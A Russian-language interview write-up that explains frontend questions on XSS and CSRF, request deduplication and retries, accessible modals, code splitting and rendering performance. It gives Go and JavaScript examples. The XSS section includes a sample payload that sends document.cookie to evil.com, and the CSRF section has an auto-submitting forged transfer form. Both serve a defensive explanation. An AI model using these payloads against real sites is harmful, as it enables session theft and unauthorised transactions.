5 вопросов, которые зададут на собеседовании Frontend Middle/Senior
Сегодня мы разберём расшифровку собеседования на позицию фронтенд-разработчика, в которой интервьюер последовательно задаёт кандидату вопросы о безопасности (XSS, CSRF), обработке данных (AbortController, дедубликация, retry), доступности (a11y модальных окон), код-сплиттинге и производительности (Reflow/Repaint). Ход собеседования демонстрирует структурированный подход к оценке знаний от базовых до продвинутых, с акцентом на понимание внутренних механизмов работы браузера и фреймворков. Кандидат должен показать не только знание инструментов, но и способность объяснить, «как это работает под капотом».
Вопрос 1. Что такое XSS-атака, CSRF-атака, как они работают и как от них защититься?
Таймкод: 00:00:50
Ответ собеседника: Правильный. Кандидат подробно описал все три типа XSS (Stored, Reflected, DOM-based), механизмы работы CSRF, различия между ними и методы защиты, включая CSP, HttpOnly, SameSite, CSRF-токены, Trusted Types API.
Правильный ответ:
Ответ собеседника полный и детальный. Дополним его практическими примерами на Go и углубим некоторые аспекты.
XSS (Cross-Site Scripting) — подробный разбор
XSS — тип инъекционной атаки, при которой злоумышленник внедряет вредоносный код (обычно JavaScript) на веб-страницу, которую затем видят другие пользователи.
Типы XSS-атак
1. Stored XSS (Хранимая инъекция)
Вредоносный скрипт сохраняется на сервере (в базе данных, файле, логе) и отдаётся каждому пользователю, запросившему заражённую страницу.
Пример уязвимости на Go:
// УЯЗВИМЫЙ КОД — никогда так не делать
func handleComment(w http.ResponseWriter, r *http.Request) {
comment := r.FormValue("comment")
// Сохраняем комментарий в БД без санитизации
db.Exec("INSERT INTO comments (body) VALUES (?)", comment)
// При отображении — прямой вывод без экранирования
fmt.Fprintf(w, "<div class='comment'>%s</div>", comment)
// Если comment = "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
// — куки каждого посетителя отправятся на сервер злоумышленника
}
2. Reflected XSS (Отражённая инъекция)
Скрипт не сохраняется на сервере, а передаётся через параметры URL или форму, и сервер сразу включает его в ответ.
// УЯЗВИМЫЙ КОД
func handleSearch(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("q")
fmt.Fprintf(w, "<h1>Результаты поиска для: %s</h1>", query)
// URL: /search?q=<script>alert('XSS')</script>
}
3. DOM-based XSS
Уязвимость существует на стороне клиента — вредоносные данные из URL (hash, query) передаются в опасные DOM-методы без санитизации.
// УЯЗВИМЫЙ клиентский код
const userInput = location.hash.slice(1);
document.getElementById('output').innerHTML = userInput;
// URL: page#<img src=x onerror=alert(1)>
Методы защиты от XSS
А. Экранирование вывода (Output Encoding)
В Go пакет html/template автоматически экранирует вывод:
// БЕЗОПАСНЫЙ КОД
import "html/template"
func handleComment(w http.ResponseWriter, r *http.Request) {
comment := r.FormValue("comment")
tmpl := template.Must(template.New("comment").Parse(
`<div class="comment">{{.}}</div>`,
))
tmpl.Execute(w, comment) // Автоматическое экранирование < > & " '
}
Б. Content-Security-Policy (CSP)
HTTP-заголовок, ограничивающий источники исполняемых скриптов:
func securityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Security-Policy",
"default-src 'self'; "+
"script-src 'self' 'nonce-abc123'; "+
"style-src 'self' 'unsafe-inline'; "+
"img-src 'self' data:; "+
"frame-ancestors 'none';")
next.ServeHTTP(w, r)
})
}
В. HttpOnly и Secure cookies
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
HttpOnly: true, // Недоступно из JavaScript — защищает от кражи через XSS
Secure: true, // Только по HTTPS
SameSite: http.SameSiteStrictMode,
})
Г. Санитизация входных данных
import "github.com/microcosm-cc/bluemonday"
func sanitizeInput(raw string) string {
p := bluemonday.UGCPolicy() // Политика для пользовательского контента
// Разрешает безопасные HTML-теги (b, i, p, a[href]), удаляет script
return p.Sanitize(raw)
}
CSRF (Cross-Site Request Forgery) — подробный разбор
CSRF — атака, при которой злоумышленник заставляет браузер авторизованного пользователя выполнить нежелательный запрос на целевом сайте.
Механизм атаки
Пользователь авторизован на bank.com (сессионная cookie установлена). Посещает сайт злоумышленника, который содержит:
<!-- На сайте evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
<!-- или скрытая форма с автоподгрузкой -->
<form action="https://bank.com/transfer" method="POST" id="hack">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('hack').submit()</script>
Браузер автоматически прикрепляет сессионную cookie bank.com, сервер выполняет запрос как легитимного пользователя.
Ключевое отличие XSS и CSRF
- XSS — выполнение произвольного кода в контексте сайта жертвы (нарушение конфиденциальности, целостности)
- CSRF — выполнение запросов от имени жертвы без возможности прочитать ответ (нарушение целостности)
Методы защиты от CSRF
А. CSRF-токены (Synchronizer Token Pattern)
import "net/http"
import "crypto/rand"
// Генерация токена
func generateToken() string {
b := make([]byte, 32)
rand.Read(b)
return fmt.Sprintf("%x", b)
}
// Middleware проверки CSRF-токена
func csrfMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" || r.Method == "PUT" || r.Method == "DELETE" {
// Токен из формы/заголовка
formToken := r.Header.Get("X-CSRF-Token")
// Токен из сессии
sessionToken := getSessionToken(r)
if formToken == "" || formToken != sessionToken {
http.Error(w, "CSRF token mismatch", http.StatusForbidden)
return
}
}
next.ServeHTTP(w, r)
})
}
В HTML-форму вставляется скрытое поле:
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="{{.CSRFToken}}">
<input name="to" value="">
<input name="amount" value="">
<button type="submit">Отправить</button>
</form>
Б. SameSite Cookie атрибут
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: token,
SameSite: http.SameSiteLaxMode, // По умолчанию в современных браузерах
// Lax: cookie НЕ отправляются при cross-site POST (защищает от CSRF)
// Strict: cookie НЕ отправляются при любом cross-site запросе
// None: cookie всегда отправляются (требует Secure)
})
В. Проверка Origin/Referer заголовков
func checkOrigin(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if origin != "" && origin != "https://ourdomain.com" {
http.Error(w, "Invalid origin", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
Г. Double Submit Cookie Pattern
Для приложений без серверного состояния (SPA):
// При загрузке страницы устанавливаем cookie со случайным значением
http.SetCookie(w, &http.Cookie{
Name: "csrf_token",
Value: generateToken(),
SameSite: http.SameSiteStrictMode,
})
// Клиент читает cookie и отправляет то же значение в заголовке X-CSRF-Token
// Сервер сравнивает: значение в cookie === значение в заголовке
Сводная таблица защиты
| Мера защиты | Защищает от XSS | Защищает от CSRF |
|---|---|---|
| Экранирование вывода | ✅ | ❌ |
| CSP заголовок | ✅ | ❌ |
| HttpOnly cookies | ✅ (частично) | ❌ |
| SameSite cookies | ❌ | ✅ |
| CSRF-токены | ❌ | ✅ |
| Проверка Origin | ❌ | ✅ |
| Санитизация ввода | ✅ | ❌ |
| Trusted Types API | ✅ | ❌ |
Вопрос 2. Как решить проблему Race Condition при загрузке данных, что такое дедупликация запросов и как обрабатывать ошибки с ретраями?
Таймкод: 00:05:48
Ответ собеседника: Правильный. Кандидат верно описал механизм Race Condition, решение через AbortController, принцип дедупликации запросов с использованием Map промисов. Ответ обрывается на теме ретраев.
Правильный ответ:
Ответ собеседника полный по первым двум темам. Дополним раздел про ретраи и добавим серверную реализацию на Go.
Race Condition при загрузке данных
Проблема возникает, когда пользователь быстро меняет параметры запроса (фильтры, страницы, поиск), и ответы приходят в непредсказуемом порядке. Последний отправленный запрос может завершиться раньше предыдущего, и на экране отобразятся устаревшие данные.
Решение на стороне клиента (JavaScript)
let currentController = null;
async function fetchData(filter) {
// Отменяем предыдущий запрос
if (currentController) {
currentController.abort();
}
currentController = new AbortController();
try {
const response = await fetch(`/api/data?filter=${filter}`, {
signal: currentController.signal,
});
const data = await response.json();
renderData(data);
} catch (error) {
if (error.name === 'AbortError') {
// Запрос был отменён — это ожидаемое поведение
return;
}
handleError(error);
}
}
Решение на стороне сервера (Go) — через контекст
func handleDataRequest(w http.ResponseWriter, r *http.Request) {
// Контекст запроса автоматически отменяется при обрыве соединения
ctx := r.Context()
filter := r.URL.Query().Get("filter")
// Передаём контекст в запрос к БД — при отмене запроса клиентом
// контекст отменится и запрос к БД прервётся
rows, err := db.QueryContext(ctx, "SELECT * FROM items WHERE filter = ?", filter)
if err != nil {
if ctx.Err() == context.Canceled {
// Клиент отключился — не нужно отправлять ответ
return
}
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer rows.Close()
// Потоковая отправка данных с проверкой контекста
w.Header().Set("Content-Type", "application/json")
encoder := json.NewEncoder(w)
for rows.Next() {
select {
case <-ctx.Done():
// Клиент отменил запрос — прекращаем работу
return
default:
}
var item Item
rows.Scan(&item.ID, &item.Name)
encoder.Encode(item)
}
}
Дедупликация запросов (Request Deduplication)
Паттерн, при котором множественные одинаковые запросы, отправленные одновременно, объединяются в один сетевой вызов. Все подписчики получают результат одного и того же промиса.
Реализация на Go
package dedup
import (
"context"
"sync"
)
// Singleflight — стандартный подход из golang.org/x/sync/singleflight
// Ниже приведена упрощённая собственная реализация для понимания механизма
type call struct {
wg sync.WaitGroup
val interface{}
err error
}
type Deduplicator struct {
mu sync.Mutex
calls map[string]*call
}
func New() *Deduplicator {
return &Deduplicator{
calls: make(map[string]*call),
}
}
// Do выполняет fn только если нет другого активного вызова с тем же ключом
// Все параллельные вызовы с одинаковым ключом ждут завершения первого
func (d *Deduplicator) Do(key string, fn func() (interface{}, error)) (interface{}, error) {
d.mu.Lock()
if c, exists := d.calls[key]; exists {
d.mu.Unlock()
c.wg.Wait() // Ждём завершения уже идущего запроса
return c.val, c.err
}
c := &call{}
c.wg.Add(1)
d.calls[key] = c
d.mu.Unlock()
c.val, c.err = fn()
c.wg.Done()
d.mu.Lock()
delete(d.calls, key) // Удаляем из мапы после завершения
d.mu.Unlock()
return c.val, c.err
}
Использование стандартного singleflight из Go
import "golang.org/x/sync/singleflight"
var g singleflight.Group
func getUserProfile(userID string) (*Profile, error) {
key := "profile:" + userID
result, err, shared := g.Do(key, func() (interface{}, error) {
// Этот вызов выполнится только один раз для данного ключа
// даже если 100 горутин вызовут одновременно
profile, err := fetchProfileFromDB(userID)
if err != nil {
return nil, err
}
return profile, nil
})
if err != nil {
return nil, err
}
// shared == true означает, что результат был получен от другого вызова
log.Printf("Result shared: %v", shared)
return result.(*Profile), nil
}
Обработка ошибок и ретраи (Retry Logic)
А. Экспоненциальный бэк-off с jitter
package retry
import (
"context"
"math"
"math/rand"
"time"
)
type Config struct {
MaxRetries int // Максимальное число попыток
BaseDelay time.Duration // Базовая задержка (например, 100ms)
MaxDelay time.Duration // Максимальная задержка (например, 30s)
Multiplier float64 // Множитель экспоненты (обычно 2.0)
}
func DefaultConfig() Config {
return Config{
MaxRetries: 3,
BaseDelay: 100 * time.Millisecond,
MaxDelay: 30 * time.Second,
Multiplier: 2.0,
}
}
// IsRetryable определяет, стоит ли повторять запрос при данной ошибке
type IsRetryable func(error) bool
// RetryableErrors — стандартная проверка: ретраим сетевые ошибки и 5xx
func RetryableErrors(err error) bool {
if err == nil {
return false
}
// Ретраим контекстные ошибки (deadline, отмену) — нет
if err == context.DeadlineExceeded || err == context.Canceled {
return false
}
// Для HTTP-ошибок ретраим 5xx и 429 (Too Many Requests)
var httpErr *HTTPError
if errors.As(err, &httpErr) {
return httpErr.StatusCode >= 500 || httpErr.StatusCode == 429
}
// Сетевые ошибки — ретраим
var netErr net.Error
if errors.As(err, &netErr) {
return true
}
return false
}
// Do выполняет функцию с повторами при ошибках
func Do(ctx context.Context, cfg Config, isRetryable IsRetryable, fn func() error) error {
var lastErr error
for attempt := 0; attempt <= cfg.MaxRetries; attempt++ {
if err := fn(); err != nil {
lastErr = err
// Если ошибка не ретраимая или последняя попытка
if !isRetryable(err) || attempt == cfg.MaxRetries {
return err
}
// Вычисляем задержку: base * multiplier^attempt + jitter
delay := float64(cfg.BaseDelay) * math.Pow(cfg.Multiplier, float64(attempt))
if delay > float64(cfg.MaxDelay) {
delay = float64(cfg.MaxDelay)
}
// Добавляем jitter (случайное отклонение) для предотвращения thundering herd
jitter := rand.Float64() * delay * 0.5
sleepDuration := time.Duration(delay + jitter)
select {
case <-ctx.Done():
return ctx.Err()
case <-time.After(sleepDuration):
// Продолжаем к следующей попытке
}
continue
}
return nil // Успех
}
return lastErr
}
Б. Использование ретрая с HTTP-клиентом
func fetchWithRetry(ctx context.Context, url string) (*http.Response, error) {
cfg := retry.DefaultConfig()
var resp *http.Response
err := retry.Do(ctx, cfg, retry.RetryableErrors, func() error {
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
if err != nil {
return err // Не ретраим ошибку создания запроса
}
resp, err = http.DefaultClient.Do(req)
if err != nil {
return err // Сетевая ошибка — ретраим
}
if resp.StatusCode >= 500 || resp.StatusCode == 429 {
resp.Body.Close()
return &HTTPError{StatusCode: resp.StatusCode} // Ретраим
}
return nil // Успех или 4xx (не ретраим)
})
return resp, err
}
В. Circuit Breaker — дополнение к ретраям
Ретраи без circuit breaker могут завалить уже падающий сервис. Circuit breaker отключает запросы при превышении порога ошибок.
import "github.com/sony/gobreaker"
var cb = gobreaker.NewCircuitBreaker(gobreaker.Settings{
Name: "api-service",
MaxRequests: 3, // Полуоткрытое состояние: пропускаем 3 запроса
Interval: 60 * time.Second, // Период закрытого состояния для сброса счётчика
Timeout: 30 * time.Second, // Время в открытом состоянии перед переходом в полуоткрытое
ReadyToTrip: func(counts gobreaker.Counts) bool {
failureRatio := float64(counts.TotalFailures) / float64(counts.Requests)
return counts.Requests >= 10 && failureRatio >= 0.6
},
})
// Использование: circuit breaker + retry
result, err := cb.Execute(func() (interface{}, error) {
return fetchWithRetry(ctx, "https://api.example.com/data")
})
Итоговая схема обработки запроса
Клиент → [AbortController: отмена предыдущего запроса]
→ [Deduplicator: объединение одинаковых запросов]
→ [Retry с exponential backoff + jitter]
→ [Circuit Breaker: защита от каскадных сбоев]
→ Сервер → [Context: обработка отмены]
→ Ответ
Ключевые принципы
- Jitter обязателен при ретраях — без него все клиенты одновременно повторят запрос (thundering herd)
- Не все ошибки ретраим — 4xx (кроме 429) не исчезнут при повторе, context.Canceled тоже не ретраим
- Таймауты на каждом уровне — контекст с deadline предотвращает бесконечное ожидание
- Idempotency key — для не-GET запросов используйте ключи идемпотентности, чтобы повторный запрос не привёл к двойному списанию денег
Вопрос 3. Как правильно сделать доступным модальное окно: семантика, ARIA-атрибуты, управление фокусом, работа с клавиатурой, визуальная доступность?
Таймкод: 00:10:51
Ответ собеседника: Правильный. Кандидат детально описал все аспекты доступности модального окна: семантику, ARIA-атрибуты, управление фокусом, клавиатурную навигацию, визуальную доступность, а также разницу между aria-hidden и inert.
Правильный ответ:
Ответ собеседника исчерпывающий. Дополним его практическими примерами кода и углубим некоторые аспекты.
Семантика и ARIA-атрибуты
Базовая структура доступного модального окна:
<!-- Кнопка открытия -->
<button
type="button"
aria-haspopup="dialog"
aria-expanded="false"
aria-controls="modal-1"
id="modal-trigger"
>
Открыть настройки
</button>
<!-- Модальное окно -->
<div
role="dialog"
aria-modal="true"
aria-labelledby="modal-title"
aria-describedby="modal-description"
id="modal-1"
>
<h2 id="modal-title">Настройки профиля</h2>
<p id="modal-description">
Измените настройки вашего профиля и нажмите «Сохранить».
</p>
<!-- Содержимое модалки -->
<form>
<label for="email">Email</label>
<input type="email" id="email" />
<button type="submit">Сохранить</button>
<button type="button" class="close-btn" aria-label="Закрыть окно настроек">
✕
</button>
</form>
</div>
<!-- Фоновая подложка -->
<div class="backdrop" aria-hidden="true"></div>
Ключевые ARIA-атрибуты
| Атрибут | Назначение |
|---|---|
role="dialog" | Объявляет элемент как диалоговое окно |
aria-modal="true" | Указывает, что содержимое под модалкой недоступно |
aria-labelledby | Ссылка на заголовок — скринридер объявит его при открытии |
aria-describedby | Ссылка на описание — дополнительный контекст |
aria-haspopup="dialog" | На кнопке открытия — указывает тип попапа |
aria-expanded | На кнопке открытия — текущее состояние (true/false) |
aria-label | На кнопке закрытия без текста — описание для скринридера |
Управление фокусом (Focus Trap)
class AccessibleModal {
constructor(modalElement) {
this.modal = modalElement;
this.triggerElement = null;
this.focusableSelectors = [
'a[href]:not([disabled]):not([tabindex="-1"])',
'button:not([disabled]):not([tabindex="-1"])',
'input:not([disabled]):not([tabindex="-1"])',
'select:not([disabled]):not([tabindex="-1"])',
'textarea:not([disabled]):not([tabindex="-1"])',
'[tabindex]:not([tabindex="-1"])',
].join(', ');
}
open() {
// Сохраняем элемент, который открыл модалку
this.triggerElement = document.activeElement;
this.modal.hidden = false;
// Делаем фон недоступным
this.setPageInert(true);
// Фокус на первый фокусируемый элемент модалки
const focusable = this.getFocusableElements();
if (focusable.length > 0) {
focusable[0].focus();
} else {
this.modal.focus(); // Фолбэк: фокус на саму модалку
}
// Слушатели событий
this.handleKeyDown = this.handleKeyDown.bind(this);
document.addEventListener('keydown', this.handleKeyDown);
}
close() {
this.modal.hidden = true;
this.setPageInert(false);
document.removeEventListener('keydown', this.handleKeyDown);
// Возвращаем фокус на элемент, открывший модалку
if (this.triggerElement) {
this.triggerElement.focus();
}
}
handleKeyDown(event) {
// Escape — закрытие
if (event.key === 'Escape') {
event.preventDefault();
this.close();
return;
}
// Tab — циклический фокус внутри модалки
if (event.key === 'Tab') {
this.trapFocus(event);
}
}
trapFocus(event) {
const focusable = this.getFocusableElements();
if (focusable.length === 0) return;
const firstElement = focusable[0];
const lastElement = focusable[focusable.length - 1];
if (event.shiftKey) {
// Shift+Tab: с первого элемента — на последний
if (document.activeElement === firstElement) {
event.preventDefault();
lastElement.focus();
}
} else {
// Tab: с последнего элемента — на первый
if (document.activeElement === lastElement) {
event.preventDefault();
firstElement.focus();
}
}
}
getFocusableElements() {
return Array.from(
this.modal.querySelectorAll(this.focusableSelectors)
).filter(el => el.offsetParent !== null); // Только видимые
}
setPageInert(inert) {
// Делаем все элементы вне модалки недоступными
const main = document.querySelector('main') || document.body;
const siblings = Array.from(main.children).filter(
el => el !== this.modal && !this.modal.contains(el)
);
siblings.forEach(el => {
if (inert) {
el.setAttribute('inert', '');
// inert делает элементы невидимыми для скринридера,
// блокирует фокус и клики — в отличие от aria-hidden
} else {
el.removeAttribute('inert');
}
});
}
}
Разница между aria-hidden и inert
<!-- aria-hidden="true" — НЕДОСТАТОЧНО -->
<div aria-hidden="true">
<button>Этот кнопка всё ещё получает фокус по Tab</button>
<a href="/">Эта ссылка всё ещё кликабельна</a>
<!-- Скринридер игнорирует, но клавиатурный фокус — нет -->
</div>
<!-- inert — ПОЛНАЯ БЛОКИРОВКА -->
<div inert>
<button>Этот кнопка НЕ получает фокус</button>
<a href="/">Эта ссылка НЕ кликабельна</a>
<!-- Элементы полностью недоступны: ни фокус, ни клики, ни скринридер -->
</div>
Визуальная доступность — CSS
/* Индикация фокуса — никогда не убирать outline */
.modal :focus-visible {
outline: 3px solid #005fcc;
outline-offset: 2px;
border-radius: 2px;
}
/* Минимальный размер кликабельной зоны */
.modal button,
.modal [role="button"] {
min-width: 44px;
min-height: 44px;
padding: 8px 16px;
}
/* Контраст текста — минимум 4.5:1 для обычного текста */
.modal {
color: #1a1a1a; /* Тёмный текст */
background: #ffffff; /* Белый фон */
/* Контраст ratio: 16.75:1 — отлично */
}
.modal .hint-text {
color: #595959; /* Серый для второстепенного текста */
/* Контраст ratio: 7.0:1 — соответствует AA */
}
/* Блокировка скролла фона */
body.modal-open {
overflow: hidden;
}
/* Учёт prefers-reduced-motion */
.modal {
animation: fadeIn 0.3s ease-out;
}
@media (prefers-reduced-motion: reduce) {
.modal {
animation: none;
transition: none;
}
}
/* Для скринридеров: визуально скрытый, но доступный текст */
.sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0, 0, 0, 0);
white-space: nowrap;
border: 0;
}
Блокировка фона через overflow
// При открытии модалки
document.body.style.overflow = 'hidden';
// При закрытии модалки
document.body.style.overflow = '';
// Проблема: страница прыгает из-за исчезновения скроллбара
// Решение: компенсировать ширину скроллбара
const scrollbarWidth = window.innerWidth - document.documentElement.clientWidth;
document.body.style.paddingRight = `${scrollbarWidth}px`;
document.body.style.overflow = 'hidden';
Тестирование доступности
Инструменты:
- axe DevTools — расширение для Chrome, проверяет ARIA и контраст
- Lighthouse — встроенный аудит доступности в Chrome DevTools
- VoiceOver (macOS) — встроенный скринридер, Cmd+F5 для активации
- NVDA (Windows) — бесплатный скринридер
Чек-лист ручного тестирования:
- Открыть модалку клавиатурой (Tab + Enter на кнопке)
- Проверить, что Tab циклируется только внутри модалки
- Нажать Escape — модалка должна закрыться
- После закрытия фокус должен вернуться на кнопку открытия
- Включить VoiceOver — проверить, что заголовок и описание озвучиваются
- Проверить, что фон не читается скринридером
- Проверить контраст через инструмент типа WebAIM Contrast Checker
Готовые библиотеки для production
Вместо самостоятельной реализации рекомендуется использовать проверенные библиотеки:
- Radix UI (React) — полностью доступные примитивы, включая Dialog
- Headless UI (React/Vue) — от создателей Tailwind CSS
- Reach UI — библиотека с фокусом на accessibility
- a11y-dialog (vanilla JS) — лёгкая библиотека без зависимостей
Эти библиотеки уже реализуют focus trap, ARIA-атрибуты, управление фокусом и клавиатурную навигацию, и регулярно тестируются с реальными скринридерами.
Вопрос 4. Что такое code splitting, зачем он нужен, какие стратегии разбивки бандла существуют, в чём разница между preload и prefetch и какие есть подводные камни?
Таймкод: 00:15:43
Ответ собеседника: Правильный. Кандидат подробно описал все аспекты: механизм динамического импорта, стратегии разбивки, разницу между preload и prefetch, подводные камни и инструменты анализа.
Правильный ответ:
Ответ собеседника полный и детальный. Дополним его примерами конфигурации и углубим некоторые технические аспекты.
Code splitting — фундамент
Code splitting — единственный примитив — динамический import(). Все инструменты (Webpack, Vite, Rollup) трансформируют его в отдельные файлы (чанки), загружаемые по требованию.
// Статический импорт — всегда в основном бандле
import HeavyComponent from './HeavyComponent';
// Динамический импорт — отдельный чанк
const HeavyComponent = await import('./HeavyComponent');
Зачем это нужно: JS ≠ картинка
1 Мб JavaScript значительно дороже 1 Мб изображения:
- Скачивание: ~100ms (зависит от сети)
- Парсинг: ~500ms на мобильном устройстве
- Компиляция: ~300ms
- Выполнение: ~200ms
Итого: ~1.1 секунды на мобильном устройстве для обработки 1 Мб JS. Картинка в 1 Мб — только скачивание (~100ms), без блокировки main thread.
Стратегии разбивки бандла — практические примеры
А. Разбивка по роутам (обязательно)
// React Router
import { lazy, Suspense } from 'react';
// Каждый роут — отдельный чанк
const Dashboard = lazy(() => import('./pages/Dashboard'));
const Settings = lazy(() => import('./pages/Settings'));
const Reports = lazy(() => import('./pages/Reports'));
function App() {
return (
<Suspense fallback={<PageSkeleton />}>
<Routes>
<Route path="/dashboard" element={<Dashboard />} />
<Route path="/settings" element={<Settings />} />
<Route path="/reports" element={<Reports />} />
</Routes>
</Suspense>
);
}
Б. Разбивка по фичам (тяжёлые компоненты)
// Тяжёлый компонент — отдельный чанк, загружается только при необходимости
const CodeEditor = lazy(() => import('./components/CodeEditor'));
const PDFViewer = lazy(() => import('./components/PDFViewer'));
function DocumentPage({ documentType }) {
return (
<div>
<h1>Документ</h1>
{documentType === 'code' && (
<Suspense fallback={<Spinner />}>
<CodeEditor />
</Suspense>
)}
{documentType === 'pdf' && (
<Suspense fallback={<Spinner />}>
<PDFViewer />
</Suspense>
)}
</div>
);
}
В. Разбивка по вендерам (Webpack)
// webpack.config.js
module.exports = {
optimization: {
splitChunks: {
cacheGroups: {
// React и связанные библиотеки — отдельный чанк
reactVendor: {
test: /[\\/]node_modules[\\/](react|react-dom|react-router)[\\/]/,
name: 'vendor-react',
chunks: 'all',
priority: 30,
},
// UI-библиотека — отдельный чанк
uiVendor: {
test: /[\\/]node_modules[\\/](@radix-ui|@headlessui)[\\/]/,
name: 'vendor-ui',
chunks: 'all',
priority: 20,
},
// Всё остальное из node_modules
defaultVendors: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
chunks: 'all',
priority: 10,
reuseExistingChunk: true,
},
},
},
},
};
Г. Vite — manual chunks
// vite.config.js
export default {
build: {
rollupOptions: {
output: {
manualChunks: {
'vendor-react': ['react', 'react-dom'],
'vendor-ui': ['@radix-ui/react-dialog', '@radix-ui/react-select'],
},
},
},
},
};
Preload vs Prefetch — детальное сравнение
<!-- Preload: загрузить СЕЙЧАС, высокий приоритет -->
<!-- Используется для ресурсов, которые точно понадобятся на текущей странице -->
<link rel="preload" href="/fonts/inter-var.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preload" href="/critical-chunk.js" as="script">
<!-- Prefetch: загрузить, когда браузер свободен, низкий приоритет -->
<!-- Используется для ресурсов, которые МОГУТ понадобиться в будущем -->
<link rel="prefetch" href="/next-page-chunk.js" as="script">
| Характеристика | Preload | Prefetch |
|---|---|---|
| Приоритет | Высокий | Самый низкий |
| Когда загружает | Сразу, параллельно | Когда браузер свободен |
| Для чего | Ресурсы текущей страницы | Ресурсы следующей страницы |
| Кэширование | На текущую навигацию | На будущую навигацию |
| Риск | Может заблокировать критические ресурсы | Практически отсутствует |
Prefetch при наведении на ссылку (Next.js)
import Link from 'next/link';
// Next.js Link автоматически делает prefetch при появлении в viewport
// Можно отключить:
<Link href="/dashboard" prefetch={false}>
Дашборд
</Link>
// Ручной prefetch
import { useRouter } from 'next/router';
function MyLink({ href, children }) {
const router = useRouter();
const handleMouseEnter = () => {
router.prefetch(href); // Загружаем чанк при наведении
};
return (
<Link href={href} onMouseEnter={handleMouseEnter}>
{children}
</Link>
);
}
Подводные камни — детальный разбор
А. HTTP/1.1 и ограничение соединений
HTTP/1.1: максимум 6 параллельных соединений на домен
├── chunk-1.js ← загружается
├── chunk-2.js ← загружается
├── chunk-3.js ← загружается
├── chunk-4.js ← загружается
├── chunk-5.js ← загружается
├── chunk-6.js ← загружается
├── chunk-7.js ← В ОЧЕРЕДИ, ждёт
├── chunk-8.js ← В ОЧЕРЕДИ, ждёт
└── chunk-9.js ← В ОЧЕРЕДИ, ждёт
Решение: HTTP/2 (мультиплексирование, неограниченные запросы)
Б. Водопад зависимостей (Chunk Waterfall)
// Проблема: последовательная загрузка
// main.js загружается → обнаруживает зависимость от editor.js → загружает editor.js →
// → editor.js обнаруживает зависимость от monaco.js → загружает monaco.js
// Решение: magic comments для предзагрузки
const Editor = lazy(() => import(
/* webpackChunkName: "editor" */
/* webpackPreload: true */
'./Editor'
));
// Webpack добавит <link rel="preload"> для editor.js сразу после загрузки main.js
В. Side effects и tree-shaking
// package.json — sideEffects влияет на tree-shaking
{
"name": "my-lib",
// ❌ Без указания — бандлер считает ВСЕ модули имеющими side effects
// Включает весь lodash даже при импорте одной функции
// ✅ Явное указание
"sideEffects": false,
// ✅ Или перечисление файлов с side effects
"sideEffects": ["*.css", "./src/polyfills.js"]
}
// ❌ Плохо: импорт всего Lodash (70 Кб gzip)
import debounce from 'lodash/debounce';
// ✅ Хорошо: импорт только нужной функции (1 Кб gzip)
import debounce from 'lodash-es/debounce';
// ✅ Ещё лучше: замена на нативный или лёгкий аналог
import { debounce } from 'radash'; // tree-shakeable
Г. Слишком маленькие чанки
// ❌ Антипаттерн: чанк на каждый компонент
// 200 компонентов = 200 HTTP-запросов (даже с HTTP/2 это накладные расходы)
// ✅ Группировка связанных компонентов
const UserCard = lazy(() => import('./user/UserCard'));
const UserList = lazy(() => import('./user/UserList'));
// Лучше: объединить в один чанк 'user'
const UserModule = lazy(() => import(
/* webpackChunkName: "user-module" */
'./user'
));
Инструменты анализа
# Webpack Bundle Analyzer — визуализация содержимого бандла
npx webpack-bundle-analyzer stats.json
# Source Map Explorer — работает с любым бандлером
npx source-map-explorer dist/assets/index-abc123.js
# Vite — визуализация
npx rollup-plugin-visualizer
# Next.js — встроенный анализатор
ANALYZE=true npm run build
Пример анализа и оптимизации
До оптимизации (Lighthouse Performance: 42):
├── main.js 890 Кб
│ ├── lodash 70 Кб ← заменить на lodash-es или radash
│ ├── moment.js 65 Кб ← заменить на date-fns
│ ├── all locales 45 Кб ← moment тянет все локали
│ └── monaco 350 Кб ← вынести в отдельный чанк
└── vendors.js 180 Кб
После оптимизации (Lighthouse Performance: 87):
├── main.js 320 Кб (-64%)
├── vendor-react 45 Кб (кэшируется надолго)
├── vendor-radix 25 Кб (кэшируется надолго)
├── editor (lazy) 380 Кб (загружается только при открытии редактора)
└── vendors 85 Кб (остальные библиотеки)
Влияние на Core Web Vitals
- LCP (Largest Contentful Paint): меньше JS в критическом пути → быстрее рендер контента
- FID/INP (Interaction to Next Paint): меньше работы на main thread → быстрее реакция на действия
- CLS (Cumulative Layout Shift): preload шрифтов через
<link rel="preload">предотвращает сдвиги текста
Вопрос 5. Чем отличается Reflow от Repaint, что такое Composition, какие свойства их триггерят, что такое layout thrashing и как оптимизировать производительность рендеринга?
Таймкод: 00:20:47
Ответ собеседника: Правильный. Кандидат детально описал все три уровня рендеринга, триггеры каждого уровня, layout thrashing, методы оптимизации и инструменты диагностики.
Правильный ответ:
Ответ собеседника исчерпывающий. Дополним его практическими примерами кода, паттернами оптимизации и углубим некоторые аспекты.
Три уровня рендеринга — визуализация пайплайна
DOM + CSSOM → Style Calculation → Layout (Reflow) → Paint (Repaint) → Composite
↑ ↑
↑ Только transform/opacity
↑ Обходит Layout и Paint
Самый дорогой Самый дешёвый
Reflow (Layout) — пересчёт геометрии
Reflow пересчитывает позиции и размеры элементов. Изменение одного элемента может вызвать пересчёт всех его потомков, предков и соседних элементов.
// ❌ Триггерит Reflow
element.style.width = '200px';
element.style.height = '100px';
element.style.padding = '10px';
element.style.margin = '20px';
element.style.fontSize = '16px';
element.style.display = 'flex';
